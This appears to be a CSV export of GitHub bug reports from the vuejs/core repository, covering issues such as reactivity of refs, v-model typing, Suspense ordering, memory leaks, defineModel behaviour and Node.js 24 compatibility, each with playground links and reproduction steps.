https://play.vuejs.org/#eNqVVgtv2zYQ/is3dUOSIpKduisSLQ22BgX2wNZiCQYMEDDQ0sliQ5ECSfnRwP99R1KSZcfJMMAGpLvvnvzuqMfop6ZJli1GaXT9TRxn8ndVMAG5qhslUVpYcVtB3hqrav6VzQWCEcoaYLKA27s7sJpJwy1X0iSZjOObTGby2uSaNxYM2rYhCSdv2kLwXWpVw0ky8W8u9skAeASNJWw7SFBlMiff5KtSq+DgvUOdlkwYPKNYkxAsBLZYN4JZpDeA63lrrZLAi/dZ5Ozj2jnIIvgxFzx/6KS9V6tbzKKbOxKFVK8nwYF3Te7uUaDP0yoynatiQ3CnIR01D1qDYCsEH2XXw3NomDHApVc2WjXg++TtAjZ1eYzTCTkqgwc5+qqHqGTfFwyvKmQF6kFDump2c+tPDn72uusJSQbLyV6vnMDnEjo36Wul1xEyOo+sofMo+SL5YpQk2jw6fBa5arlA/anxXMiiFLzG6ZgQavWrl7ken/fyvML84Yj8i1k7WRZ91mhQL6ngQWeZXqAN6o93f+CangclFdAKQr+g/BONEq3LMcA+tLKgtEc4n+0vnpBcLu7Nx7VFonhXlCcJIbcen0VE0tsXSt+lO0veertMbqmLA/nd4B1MS+C744mhEy+w5BI/u7dT79bRIYUPSglkxMvtszMAS0ZFhPO8H8YUJKsdq7pR6A+/4EtYxrzs+Eb8ywWxtgfGNTMPY945/D6C0raMUqVejkn4FBiIuocinFsrfW4DgopnrbAQBFQmgcbOJ+S9m85nw+3NaYeiafUBhwAO1LkfZvNIYp2vI1b/M6lSKftyD44iwNHBh+7Ue7pu3+0L4SBy5yDusNEheliN32LN7emJ30InZ4fAm0+/jdbjKIfn2vH0bfdM62bg5/7CCbeJ3Qj3mOyoGCasUcEmhZKvsfjByb7GXBa4TuHq6urSS6xqUpj6R4Gl7Z9XvLBVChfT6Xf+vUK+qEg7COYsf1hoRQuCuC2UTkEv5ux0eg7dL/n+zAMLbijbDWUhcB1CDuWkoBqWc7sh+MwAMoOEoC0wlDPMTaipS2s2nTbBV00rhJMf1lrlBQ0rCtpMKbwhCAE73NN0X5VlGVRK0/jEmhW8NWTXW6h1bCpWuH0ydVK4pP9hkbNZqHJcE+3IZ+sJswrVLNQT0o9Hh9Bn9/bN/OpydmDtRmps2FXpLMewfRYHg1IoRuen3TH28Mlr0ryGe7p4S+UWOzUOPJ/oE0ajb2rMmkZwLIgoQLdeTVe28d893nRX9m5pwqpCf5tzDUtu+JwLd8LckIvFQmDhLecb+KtFuifpwwhCHn+rFnImXdu42IBjTfjC2n027OI5B1jQo1yETCq6DbvkvcvJqCGUNJ2w/3DyzehYF3o+7hzdGkuk4/gP2MjfIU/p5jv0dZzK8Q... [TRUNCATED]",":hammer: p3-minor-bug,scope: vapor",2025-12-11T15:12:46Z,2025-12-12T03:30:06Z,0
vuejs/core,3714824665,this.$refs.name is sometimes not reactive,"### Version
3.6.0-alpha.6

### Reproduction link
[play.vuejs.org/](https://play.vuejs.org/#eNqFVG1r2zAQ/iuHGDSB1h5r6YfMbVhHB9uHbaT9KChKfE7cKrKR5DTF+L/3JMt2Y0IaQpDuHj339lxq9qMso12FbMYSs9J5aW+5yrdloS38KgrIdLGFsyims4Od9c4aKoOPuC2lsLjADJqAdajvXOHew1LMRCUJzhXAqqC3CpU1M6iJsTl3VoO2KidTjwCIY4IpYyGj6DejIBPOyMzZlAIAtM9TYUX/WhOXVm0091ltcPWC6SwT0mBrbIanLp/Kkrt7QOQPVtjKwGQ6kARSu8lN9EVjZiKX2xx8MpAbeFHFq+IMZoOpUsEYgvp4PsCd0J+zz6MlweYhhr+MGX0ZXNE3ifvJ0cWGdtENIJFiidIfARaoUtRurO09yRWVD/atxBvOfKuWxZ7q2F1sixRlZ8SUs9sk9uiWNR5ok6UmH/34SxecKPLs4L13u+ZQieTwYwxkdA6nPvdD2rruB9M0R1zU0sb34UPt7JxZQ0rK8nX0bApFAvctp5xo6rlE/a+0OSmNs378nAkpi9c/3mZ1hWFqoY4j9mdD/XJj/6/RoN4hZ73PCr1G27rvH/7ins69kxpcSUKfcC7QFLJyObawu0qllPYHnM/2t9/HXK0fzf3eojJdUS7RQeuc0WL+PFH6kO5ldNWJi7oYNv/YH0Tt1jtXntbv9Sd/AiP0xMdu97fLY7zApPwZXH0baX56WvStrgcVE8mBgsdCedqhdm2jGi+j6+jrhZDlRkTXrHkHPrmw4w==)







### Steps to reproduce
1. check ""Render Foo"".
2. change the text in the input field.
   - Note that the text below the input doesn't change
3. Uncomment the commented out line, repeat prior steps.
   - Note that now the text below the input is kept in sync

### What is expected?
The commented out line should not be affecting the reactivity of the computed value.
I expect it to be reactive in either case.

### What is actually happening?
A line of code in setup() which seems to be dead code affects the reactivity of computed properties.

---
I noticed the bug when I recently upgraded from 3.5.13 to 3.5.25 and noticed a computed value isn't w... [TRUNCATED]",,2025-12-10T11:38:06Z,2025-12-11T02:03:40Z,1
vuejs/core,3699487429,"Unable to use v-model on nested refs without WritableComputedRef proxy workaround: Type 'Ref<number, number>' is not assignable to type 'number'.","### Vue version

3.5.25

### Link to minimal reproduction

https://play.vuejs.org/#eNqtVMtu2kAU/ZVbb0JUY5Km2bgkUh9ZtFKTKM3SUjOYC0wwM9Y8KAj533tmzLNFrLIAje/z3HMfq+RzXWdzz0me9G1pZO3IsvM1VUKNb4rE2SK5LZSc1do4WlGpZ7V3PEzJ8IgaGhk9ozMEONsauWXNsHz6T1+oUivrqK6EVHQTInQuzoNcKsdmJEomwKnY0qpQRNoAA9s8hOorPxuwAZRmF0hE43zjdPOPWxs/Xbv0evQ8kZYqraf4l1MmocgrxSVbK8yS9JxNqK+SpXBS7/AavVgi+qb2DZZOTDdm1zlvMxNSOm/UGli2RpLNReU5GDQAQ4HgThTl1Ebauh/zQ+ID/yYy1u+13QIh+HAM1MIxvoj6k8vbx0BxTqvVmuym6fcgjmqpUEXsEvobMxUJ5TOp8HkRn2KB52V4z7szPeQqa3FCGsNB0WtjDczmhej3bMFOzHpYyEH6d91uWywbo01OA8MCDXETJuuML0Egp1QKb9HD1vKlFOoM7bZWjhU5HTpSs3FLKpKWm4S0omvwqWGmSA9euXQv0bvbfYOyD+s5Wf/7OC4t93Fw3o77EG6du9/b63mSYk8xqyM5zl6tVljmOFBFEkZWVmwe6jDQAA5cLaeoqar0nx9RBt45jmb0mXA5PSJ/tYsgK5JHw5bNHNC3OicM9qBV3/265wXeWyXK8BWsTyif2OrKx6WLZl+8GgL2nl1E+z1eGKnGz/Zu4VjZTVEB6G7BMBWev54ofQf3KvsY/bBXYHHdZmfB4OE1C9HC7uMUpfSNuX5iMdSqWqb0UywHKADyvZMXIRTJp8JgQfHjRYx25NBBSfRw5NSlQdWEPyD7jdsUqgWwq+w6+3CdNH8BXpruOQ==

### Steps to reproduce

1. Get an object with a nested (non top-level) ref.
2. Try to bind that ref to a `v-model`.
3. In the playground example, try using the ""Nested"" slider, then ""Nested+proxy""

### What is expected?

All three sliders should work.

One could expect that `v-model`, being a shorthand for prop `.value` and signal/event handler `.value = newValue`, should be accepting writable refs, not matter where they come from.

### What is actually happening?

Instead,
- only top-level refs are working (first and third sliders),
- but t... [TRUNCATED]",,2025-12-05T15:56:15Z,2025-12-08T02:36:34Z,8
vuejs/core,3699289727,<Suspense> changes the order of elements when using v-for with a given key and a wrapper component,"### Vue version

3.5.25

### Link to minimal reproduction

https://play.vuejs.org/#eNq9VdtuGjEQ/ZWpXyASLHceCIlEc6mo1BBRpDzUUbWFgTjZ9bq2l4sQ/97xshhISitVSvMQ7cwZz5kZzzFr1lMqmKfIOqxrxlooCwZtqi65FLFKtIU1aJzCBqY6iaFAoQUPXSWxyv1BxRku0zH8oEOlUB9F5b48mMtxIo0FYTE2cOHYit+4BFiLSQdqJZBhjB0o1Gq1wqbkgboH6vX6IdDwQKPRKGy4fDxzJFxSXyMRY5LaYvEMLi5h7c5ktME8jFIk8oyY/rJMTZ+p2WzmFDus5bFWq/UKa3us3W67CgAeudyUoF6tVqmYbmU7aZoxGcSvotAiWQDdiZiDsasILzibCEPIqgPTCJfnMAsVtV1Vy3POsmAKN6lRSJ3l9jaBN8j8UC7Dw3Bw9wkGw+ubIfRuR/T/y+C6f9u/6o36gzsojhOtcWxhIewTTQc6L7giejeZQEw4O4Ny+TDn4b3Oy9NE58Eg5HacnL3JAR33mXvIrOwrruxLpskcN3TUTkb8r4w7wj3d7qtbObgCVmLW0EJOxSx4NokkXWRrwtmYyEWEeqCsoIXlrLNdIIeFUZQsPmc+q1PMt4HOPOH45Tf+Z7N0Ps7uNRrUc+TMYzbUM7Rb+ObrHS7p24NxMkkjiv4DOESTRKmrcRv2MZUTKvsgLqu2n2lUyNnI3CwtjXzXlCvURW53mjNSqZv7qdb35TaCZnaOVp2m6M70zEqOT7wuE5wKifc6Uabohejz2pUi/Qx+PNNe5nVr/JlqgaQvXyExZdoOF6GwIHEBlC8WBos01iSak6IvHeFO9rm3BLXq2d91mC/Mep2tlFP0JtPyqb3ZPYDv2uw71HzwHJ/+FfDXefSS+wvO3vH/0+W+krcCf93e9zlqt9jUVyNoBfUW2/wCEF1CyA==

### Steps to reproduce

* Render an array of elements using a component with async setup
* Render new elements


### What is expected?

Vue should render the elements in the same order as in the array.

### What is actually happening?

Vue renders new elements in reverse order.

### System Info

```shell

```

### Any additional comments?

This is similar to #13559, but uses an additional wrapper element between the v-for-element and the async component.","scope: suspense,has workaround,:hammer: p3-minor-bug",2025-12-05T14:57:22Z,2025-12-18T08:15:27Z,1
vuejs/core,3697247546,Memory leak after clicking input,"### Vue version

latest

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UrtSwzAQ/BWhBpgBu4AKnAw2kwIKYIBSjXEusUCWNHo4YTKpoeEn+Df4Dk4yMc7A4Eq+3ZVu73ZFc62T1gM9oZmtDNeOWHBej5nkjVbGkRWxdSmEWtzCjKzJzKiG7KJi97Sn5N/VJM3DXQOk6JFig1RKWnykVoucjAZ37znjYb8n1KWcCrhbcFfVyNvbJ6MxWTFJOmnSlsLDaGfww+Qa1Vna2UADmYNGi9JBOD9455QkZ5Xg1dOI0eH9jI4/Xl8+396ztKOhgJBsytt4CF+Wk/aQz1AYX0RFluY/aIEoCAtYLTpx2qmztG+CHlBn0dyMz5NHqySOPPphtFKN5gLMtXYczTN60jkNWBzPZayFAR1s6lUN1dMf9Ue7DDVGbwxYMC0w2mOuNHNwHTy5u4IlnnuwUVMvkP0PeAtWCR967GiFDzM0A17s9iLunsv5vZ0sHUi7MRUaDcx15DOKiTj/x/pPu0fJcdThinGKMWQhsIP94sS51N6RdHvoTDKJkpi+XxkfZGU7LVvLnzTaPZObch57/2Ox+ML6C0UMF/Y=

### Steps to reproduce

1. Click to focus the `input` element
2. Click the button to switch components
3. Open the browser's F12 to observe

<img width=""2063"" height=""724"" alt=""Image"" src=""https://github.com/user-attachments/assets/22ec46fe-bf3d-4b12-9833-1dc44c082097"" />

### What is expected?

No memory leak occurs

### What is actually happening?

Memory leak occurs

### System Info

```shell
System:
    OS: Windows 11 10.0.22631
    CPU: (24) x64 13th Gen Intel(R) Core(TM) i7-13700
    Memory: 32.58 GB / 63.63 GB
  Binaries:
    Node: 22.20.0 - C:\Program Files\nodejs\node.EXE
    Yarn: 1.22.22 - C:\Users\User\AppData\Local\pnpm\yarn.CMD
    npm: 10.9.3 - C:\Program Files\nodejs\npm.CMD
    pnpm: 9.9.0 - C:\Users\User\AppData\Local\pnpm\pnpm.EXE
  Browsers:
    Chrome: 142.0.7444.176
    Edge: Chromium (140.0.3485.54)
    Internet Explorer: 11... [TRUNCATED]",,2025-12-05T02:23:31Z,2025-12-05T02:40:00Z,0
vuejs/core,3690336230,"Embedded components ""this"" is typed incorrectly after upgrade","### Vue version

3.5.25

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U1ur2zAM/ivCL22h5MC6Piy0hW30YYNd2MqeDDsmUVOfJU6wlS4Q8t8nO9dz2JYHR5Y+SZ8ubsXbqoruNYpYHFxidUWQK5MdpSAnxUkaXVSlJWghsagIGb6FFK/a4PuSTQYNQQdXWxaw4jgraaTBJvgwTNV5+C/h61YagFSRWm8gyAAWqbYG2s5fu60/C6Rbmbp4hGRIFyyqnEnMfgBJaRyBqio4zhTXbbcZAUNoRkTJRGF1QUcTo9V2jtczi4FzHE9L9UxyqWOeLotBigKdUxlKAcqBI6tNFsoYv1DZIC4ML6vsP671Ux9vvYmHaC/zDmzopl3EHJ7lWiRYyjT0L4bHQ6rvp8ODPx8nxNi03sefXnN46BeDl4EvYwy+AYQo50axCvtgHr6AiC3vEY/oqrPoyZWG1yyUIYWfhc7RfqlI8wilmFoghcrz8vfHoCNb48CPfW6Y/PqL/sk1XifFV4sO7Z2nMNlIWe5mbz5//4wNy5OxKNM6Z/R/jN/QlXntOfawd7VJmfYCF9h+CM+Ex3Rx54bQuLGoZ0RNybhcJ5ouPLbRPO+8FPyE/Fr+qzNzNbvodfDjGXGTf97R+pTc3120j17tvY7cj0m7j95EO9H9AXmnOs8=

### Steps to reproduce

- Within an Options API component, define a method  (e.g. `getTemplate`)  with the following contents

```vue
   getTemplate() {
      const app = createApp({})
      return app.component('TestComponent', {
        data: () => {
          return {
            msg: ""message"" as string,
          }
        },
        methods: {
          getMessage(): string {
            return this.msg
          },
        },
        template: `<div></div>`,
      })
    }
```
- Notice the error on `return this.msg` from the language server or run the type-checker (`npm run type-check`) 
- Does not occur on Vue 3.4, does occur on Vue 3.5 without `noImplicitThis` `false` (default is `true`)

### What is expected?

I expect no type errors 


### What is actually happe... [TRUNCATED]",,2025-12-03T13:50:47Z,2025-12-04T00:07:52Z,1
vuejs/core,3685295690,@vue/compiler-core incompatible with Node.js 24 - entities package ERR_PACKAGE_PATH_NOT_EXPORTED,"### Vue version

3.5.25

### Link to minimal reproduction

Any Vue/Nuxt project with Node.js 24

### Steps to reproduce

1. Use Node.js v24.x (tested on v24.11.0)
2. Create or use any Vue 3.5.x project
3. Run `npm install` or `pnpm install`
4. Start the dev server or build

### What is expected?

Vue should work with Node.js 24

### What is actually happening?

```
Error [ERR_PACKAGE_PATH_NOT_EXPORTED]: Package subpath './lib/decode.js' is not defined by ""exports"" in node_modules/@vue/compiler-core/node_modules/entities/package.json
    at exportsNotFound (node:internal/modules/esm/resolve:313:10)
    at packageExportsResolve (node:internal/modules/esm/resolve:661:9)
```

Node.js 24 enforces stricter ESM exports validation. The `entities@4.5.0` package (dependency of `@vue/compiler-core`) uses internal paths like `./lib/decode.js` that aren't properly exported in its package.json.

### System Info

```
Node.js: v24.11.0
Vue: 3.5.25
@vue/compiler-core: 3.5.25
entities: 4.5.0 (pinned by @vue/compiler-core)
```

### Any additional comments?

The `entities` package has been updated significantly - current version is **v7.0.0** with proper exports field. However `@vue/compiler-core` is pinned to `entities@^4.5.0`.

**Suggested fix:** Update `@vue/compiler-core` dependency to `entities@^5.0.0` or higher (v5+ has proper ESM exports).

**Current workaround:** Use Node.js 22 LTS instead of Node.js 24",,2025-12-02T11:00:49Z,2025-12-15T07:47:57Z,2
vuejs/core,3677950456,`defineModel`: assigned value not immediately reflected when reading `.value` synchronously (but UI updates correctly),"### Vue version

latest

### Link to minimal reproduction

https://play.vuejs.org/#eNqVUk1v1DAQ/SteX7IrbRMhOG3TFVBVAiQ+BEhcfHGdSerWsS1/hEVR/jtjZzctK6jEzZ73ZubNzBvpG2vLIQLd0doLJ20gHkK0e6Zlb40LZCQOWjKR1pmeFEgtFuja9PYYL6v0SZUQFkb7QBoeOLlK2euWKw8bpk9Q77sjUrwDpQz5YZxqVgVS6mqWgQLwE6C3igfAHyH13Yv9OObkaaor/OWo1DYGMlz0pgF1xSjijJJqBrPEI7aT/oJbqyQ0SEvyjry6etKHbmnwKLOVXXnvjcbNjKkUowJrSQXusw0Sx2B0RzKSMI5T/PyQY8FF2J7i4g7Ew1/i9/6QYox+ceDBDcDoggXuOggzfPPtExzwvYA4SVTIfgb8Ct6omDTOtLdRNyj7CS+rfZ+PKHX33d8cAmh/GioJTcwp8xnFo6Y1/mv0R7kvy1c5j+kJt3gyxLm1iOK6wwMELIP7nh0hPRoxXQZ90UArNXxMJ6tvjVHA9X5dLIxii55EDo8q7Ei2Fpk2l8kvTLdRiySRpEP/Wm9mmakH1imV6dZLnXLgKsLmklQVgYMFEbB7LpdSzmgoa3UWwo7/UzmfHz0vQA6PjXBXzzm+kUN+4PM2hoBzvRZKigdcXx4QN3id/qu6mvE5rZrz/vT19Bt8KlTb

### Steps to reproduce

1. Create a parent component with a ref bound to a child using `v-model:is-applied`
2. In the child, define the model with `defineModel<boolean>('isApplied', { default: false })`
3. Create a function that logs the value, updates it, then logs it again immediately after
4. Click the button to trigger the function
5. Check the console - the second log will show the old value instead of the new one

### What is expected?

After I assign a new value to the model, I should be able to read it right away. It should work like a normal ref - the value updates immediately and I can use it in the same function without waiting for nextTick.

The console should show:
```
Before: false
After: true
```

Not: 
```
Before: false
After: false
... [TRUNCATED]",,2025-11-30T15:53:01Z,2025-12-01T01:54:55Z,1
vuejs/core,3677426335,The triggering sequence of the lifecycle is not intuitive and the document does not specify it specifically,"### Vue version

3.5.x

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uk1v2zAM/SuCLnaBwF4a7OLZ2dahh+3QFVt7E1CkNu2qkSVBH2mKwP+9lNy4SdH0kph875GPInf0p9bZxgMtaGlrw7UjFpzXSyZ5r5VxZGegHUhrVE8SJCYT8Ev1+jWf5SEIdZJvTDJZK2kd4Q2pCKrT+VlIlvnYAEtj4KDXYuUAI0LKe++ckuRHLXi9rhjlTVVV8+/4d17gz5zRZYRI/bCSHWDpMh81oz56KdbwHLWMElSRHLEynxrRGXUWnbW8yx6tkjjyLogZrVHNBZi/2nF0zmhBIhKwlRDq6U/MOeNhts/XD1CvP8g/2m3IMXptwILZAKMT5lamAzfCl/+vYIvfE9irxgtkfwL+A6uEDx5H2oWXDdo+4EW3v+N+uOxu7OXWgbT7oYLRwBwin1HcV3i4U6O/2V1ki6hjcsBX3O/6k5shSt7KXnnpoJlhcAGtMvCaIofndHAv2iht8WQaaLmE6xCl0QxvCnLl+3scVQ7xloJACciE6tIkNk9mUZ7xJhLetUzTs2o5TnYkfUc7KjJ2OhjkdJGJ8kGBk2d/fJp3GzBhUfioi+xrdv6FDi+HPzsa

### Steps to reproduce

see the console

### What is expected?

I guess it's because 'onunmouted' unloads responsive data, but it should be explained in the documentation, otherwise it doesn't follow the logic of deleting first and adding later

### What is actually happening?

the new component  setup will trigger in between the old component onBeforeUnmount and onUnmounted

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-11-30T06:08:21Z,2025-12-01T01:50:58Z,2
vuejs/core,3676611266,`defineModel()` leaks internal props into `props` (`defineProps()`),"### Vue version

3.5, 3.6

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uc1OwzAMfpXIp00aAWnAYRpIgHYACTYBN4JQ6bytW5pEiTuKqr47TquWHabd8v3Y/uxUcOec3BcIE5iG1GeOREAq3K0yqTWBhPPWBXEjlrjKDC4iGnwoSBR8DjtPbpeoe89zRAMWp+dtR+7FgDB3OiFkJERVifn3FlOSO/wNg2bIUNR1LDowwggo8IxVtpbbYA2nrGK5gtTmLtPo544yzqBgIholaonW9uep4cgXOOr4dIPp7gi/DWXkFCw8BvR7VNBrlPg1UivP3l6w5Hcv8t6FZvcJ8RWD1UXM2NruC7Pk2Ae+Ju1j7qynzKzfw6wkNKFbKgaNzrrxK+Cvejix+n/csbxs6pSp+Ypfe/SxJx9wLK/lxVmi3SaRV1D/Abp4qpU=

### Steps to reproduce

```
<script setup>
const props = defineProps([""a""])
const model = defineModel()
</script>

<template>
  {{ Object.keys(props) }}
</template>
```
see minimal reproduction

### What is expected?

only prop keys defined by `defineProps` (""a"") will be shown

### What is actually happening?

extra prop keys (`""modelValue"", ""modelModifiers""`) are shown

### System Info

```shell

```

### Any additional comments?

For actual case, I use `defineOptions({ inheritAttrs: false })` and `defineProps` to separate bindings for wrapper and content components. e.g.

```
<script setup>
defineOptions({ inheritAttrs: false })
const { prop1, prop2, ...props } = defineProps([""prop1"", ""prop2"", ""class"", ""style""])
const model = defineModel()
</script>

<template>
  {{ Object.keys(props) }}
  <div v-bind=""props"">
    <my-component v-bind=""$attrs""></my-component>
  </div>
</template>

```

I'll have to drop extra model keys (`""modelvalue"", ""modelmodifiers""`) from the `props` object, otherwise it will render ... [TRUNCATED]",,2025-11-29T10:39:51Z,2025-12-01T01:38:42Z,2
vuejs/core,3656334970,Watch immediate: true and flush: 'post' don't compose well,"### Vue version

3.5

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Ul2L2zAQ/CuLXpyA60Dv+pI6gbYctKVfXPMoKMZex7rKK6EPJyX4v3clN9ejlHuzZmZXM2NdxBtrqymi2Irat07ZAB5DtHtJarTGBbiAw76E6PGAo9VNwPt0PjWhHWCG3pkRCt5QSJLUGvIBxl8sgd0/M6si48X69VU3NZpVvH6VMEl554rRElZr2O3hIgmWbRWjEStFhO794fMnnmNkQXl2LuGixhE7xXdtg4tYQq+jH7ZQWONDMa8l1ZslIWfjQ/jjjE8AtSIb2dCL0XSod1LwYin29Sbji6RTU/LKZHbE9GFQHvxgou6o4OIGcwJD0CvH4RxSh67e8BjP15sn94lSBM8V9OpYPXhDXH5OKkVrRqs0uq82KK5Iiu3SQeIarc3pY8ZywCveDtj+/A/+4M8Jk+KbQ49uQikeudC4I4aFvvv+Bc/8/UhyB1Gz+hnyHr3RMXlcZG8jdWz7iS67/ZCfkKLjwd+dA5K/hkpGk3LOeq474rtnov+1e1Pd5jn+5dzijwld2skF3lSvqpe3Yv4NrUPyGA==

### Steps to reproduce

Write a `watch` with `{ immediate: true, flush: 'post' }`.

### What is expected?

The first call occurs after the first render. The DOM is always available in the callback.

### What is actually happening?

The first call occurs synchronously. I can't assume the DOM is available in the callback. I need a workaround to invoke my logic after the first render.

### System Info

```shell

```

### Any additional comments?

In my experience, a post watcher needs to _always_ have access to the DOM. And sometimes that watcher also needs to run after the first render. Adding `immediate: true` seems like the logical thing to do in this case, but that breaks the watcher since `flush: post` will not apply to the ""immediate"" call. It's difficult to imagine a scenario where the current behavior for this combination would be desirable.

I can thin... [TRUNCATED]",,2025-11-23T18:49:29Z,2025-11-24T01:11:43Z,2
vuejs/core,3655844410,Passing boolean props to elements is inconsistent,"### Vue version

3.5.24

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U01v2zAM/SucLk6BLBm2nYykxT4KbDtsQ1dghygHJ6ZTdbJkSHSaIvB/HyV/xA2KCIYhUY+P1CN5FJ+qaravUaRi4bdOVQQeqa6upVFlZR3BERwWU9jasqoJc2igcLaEhJ0SaaTZWuMJSr+DZUBOkm+otYW/1un8TXJ1guQZZR1mJQ3AMfwASJHGFJL7B+WBP0JPTAzQTFvABRy8H5DrUaSt1f4rFhxsFZ0rZyufwuRqed2ROX6jMz01QK58pjeYp0CuxtbaRGppmnVg7rkL5Tzd2Scm7yWZDMQdbRd/9W49i6En4el84hSbmKY0i3mrNuvMB8Ky0hkhnwAWlG102LZpLGhj8+fhGAwO9m8L65ZSKPYEZaK2UoxAAZZHuuGsDGfLnqXNUXe+s6iqFGPHdqVBEs4jZ2T/5ptZb3zVw9OzRoafXbAy51AWyLp00LLlDfrDDSQO8wS40LG0oxXrMV5nkc7CzF+qMY9yDBrOyZ0UnvcSx32nPu9OVRFTQZ4boFC72aO3hsclFlyK0ARKo/tVkeIGkSLtu0qKjAfh6Ue0hbbq+pl9HnD77xX7oz8EmxS/HXp0ey7McEeZ2yG117d/fuKB98Mll7QOZbxweYfe6jrk2MI+1ybntEe4mO33OPTK7O797YHQ+P5R/Vy0UykFj/+XC08/pfth9rEfJNH8BwgeXgE=

### Steps to reproduce

in a table data when rendering rows (using v-for) I want a function to read row data and give me proper props.
I use computed so it will be calculated on my ref object.

1- create a function for calculation of your target element props. it is used to read some data and return props.
2- use computed to calculate final static props.
3- pass props to **<input> element**  which is inside cell rows

### What is expected?

As you can see in reproduced link every thing is fine but one issue.
<input> element should be disabled.

look at here:
 ```
           :disabled=""firstRow?.disabled""
            :style=""{ color: firstRow?.disalbed ? 'red' : 'green' }""
```
color is red but input is not disa... [TRUNCATED]",,2025-11-23T11:06:29Z,2025-11-24T00:35:33Z,1
vuejs/core,3651948616,Hot module reload causing error or not updating.,"### Vue version

v3.5.24

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-xavxdftq?file=src%2FApp.vue

### Steps to reproduce

Step 1: press on the increment button
Step 2: change This text in the .vue file
Step 3: The text should update but does not.

### What is expected?

The text saying: This text should update to the new text you replaced it with.

### What is actually happening?

I don't know why it doesn't work.

### System Info

```shell

```

### Any additional comments?

_No response_","scope: hmr,:hammer: p3-minor-bug",2025-11-21T14:43:06Z,2025-12-18T08:23:26Z,2
vuejs/core,3650400205,type of .$emit of Component Instance is Intersection of functions,"### Vue version

3.5.24

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uk1v2zAM/SuEMMAJEDjoxy6ZY3QbcugO27D2Ng+Da9OpWlkSJMrLEOS/l5Lb1AXaHvXeI/keqb34bG0+BBQrURD2VtWEZaUBCqltIKD/FteVINxRJeAigfye4TCHdQnYS5plkW1ua73FbAE45G1N9bwSy7HRTSAyGi4aJZv7WDupHLnEcOkJF5UnxXJEubpYTjzx0zdOWgLFo6Ipz5Y8UrDMyt4aR7AHh90CWuykxg3P8HCAzpkeMk6ZxS6N0Z7SfFhPhcU+2p3hCl4GGmoVGPTkpN7OVzAY2R6VLwPIdgU69DfojrpDOZt/iklG72/leE5whap7dJwvH6+TcYd4CdicsudL9l/rBq8ZKSJsulRV/s4+xFjZn+lAseABnLmT2/zOG82XTkEr0ZjeSoXuhyXJO6nEChITuVop8+9bwsgFXDzhzS0296/gd34XsUr8dOjRDViJI0e12yJ/n0hvrr6nr3Qke9MGxep3yF/ojQrR4yj7EnTLtie65PYy7Y9vdO03O0Ltn0JFo1F5SPpK8EK/vhP92e5Zfp7q+Iq8xb8DutiTF3iWf8xPz8XhARL9E9g=

### Steps to reproduce

Mouseover the type `E2` of the reproduction above, and it's shown as `type E2 = ((event: ""textchange"", value: string) => void) & ((event: ""buttonclick"", id: number) => void)`

Generally: get the instance type of some component that has at least 2 emits and look at its .$emit

### What is expected?

Type of emitter functions are joined with union(`|`)

### What is actually happening?

They are joined with Intersection(`&`)

### System Info

```shell

```

### Any additional comments?

It results in misworking of `vue-component-type-helpers`'s `ComponentEmit<T>`",,2025-11-21T06:24:36Z,2025-11-21T08:14:24Z,2
vuejs/core,3644763781,Deep readonly is not preserved through array iteration methods,"### Vue version

3.5.24

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uk1P4zAQ/SsjX0ghStiFvUBaaXfVw65WCwJudYWidNoaHNvyRymK8t8ZJ01bBOIQx37z3nw8u2E/jck2AdkVK1xlhfHg0Acz4UrURlsPDVhcprSUC63kawqVrk3wuIAWllbXcELyE664qrRyHqSgZbznJ6ROZk2bQv/NR6PrA3nI9a8XDcckGcF4Ag1XQFgkKnzZcWZz0kNXJtuUMmC21HZaVutkGzU7YmaCI2RXDCA/JRYkEj0ISnJ+Tb/iOIlEtfJrgs/ORn1heJ/rwJ2JeUwL0Ob5aR43liyzauBTrI2EIu8dJS/p4LE2svRIJ4Bi/W3SNL1XbVvkdDyC37nyMRxVs/M5jMcHxyI1Ynt2kR8VZCnzjoxcilX25LSi2+5G5CzqhUR7Y7wgozm7GobnrJRSv/ztMG8DpgNerbF6/gR/ctuIcXZr0aHdIGf7mC/tCn0fnt7/xy3t98FaL4Ik9hfBO3RahthjT/sV1ILaPuJ13f7p3qxQqwc33XpUbhgqNtpdWcfnjN7s7y9GP7R7kV12OrpTcvFxgzbmJAMvsh/Z90vWvgGg8xTu

### Steps to reproduce

The repro shows that computedList[0] and list[0] are not the same object when using list.value.forEach to push the array elements into another list.
If you uncomment the imperative style for loop (and comment the forEach) then you will see the computedList[0] and list[0] are now the same object.

### What is expected?

Both the initial code and the commented code should have the same effect i.e Accessing the array elements via forEach (or map, or filter, or find etc.) should return the same result as accessing via index.

### What is actually happening?

The elements in the callback of the .forEach are MutableReactiveHandler proxies (as can be confirmed by console.log). The elements accessed via index (and what you'd expect in a readonly array) are ReadonlyReactiveHandler proxies.
This seems to affect all th... [TRUNCATED]","scope: reactivity,:hammer: p3-minor-bug",2025-11-19T23:19:31Z,2025-11-24T07:20:25Z,0
vuejs/core,3642846462,defineComponent: exposing properties breaks Options API typings,"### Vue version

3.5.24

### Link to minimal reproduction

https://www.typescriptlang.org/play/#code/JYWwDg9gTgLgBAbzgEwKYDNgDtUGELgQ5YwA0cUGcAvnOlAXAOQBuArqkwFBeoAekWCgwBDNgBt4aTDnyFiMABSIucOAGdUMNmEUBKFWrUBjIuvgh1AczgBeChmVMAFqnHiITOHoDcqo6ZY5nCWVgBMdg7oTgDu0OLIXr7+apTaUFiIIdbkoRHUfmrUpP6UWGhQ+oZGMM7A6gB0oYU1dY15LcX+-JCaAFxwANrMoV4Auly0yUA

Thanks to @johnsoncodehk 

### Steps to reproduce

1. use `defineComponent` to define an Options API component with setup, data, props, methods, and computed, and have each option read something like `this.dataValue`.
2. Add `expose: ['setupValue']` to that component.
3. the `this` inside other options loses access to the usual props/setup/data/methods.

### What is expected?

Can access the properties with `this` inside the component even `expose` is defined

### What is actually happening?

Cannot access the properties with `this` if not defined in `expose` 

### Any additional comments?

Related:
https://github.com/vuejs/language-tools/issues/5069
https://github.com/vuejs/language-tools/pull/5763
https://github.com/vuejs/language-tools/pull/5758",scope: types,2025-11-19T13:54:16Z,2025-11-20T00:59:43Z,0
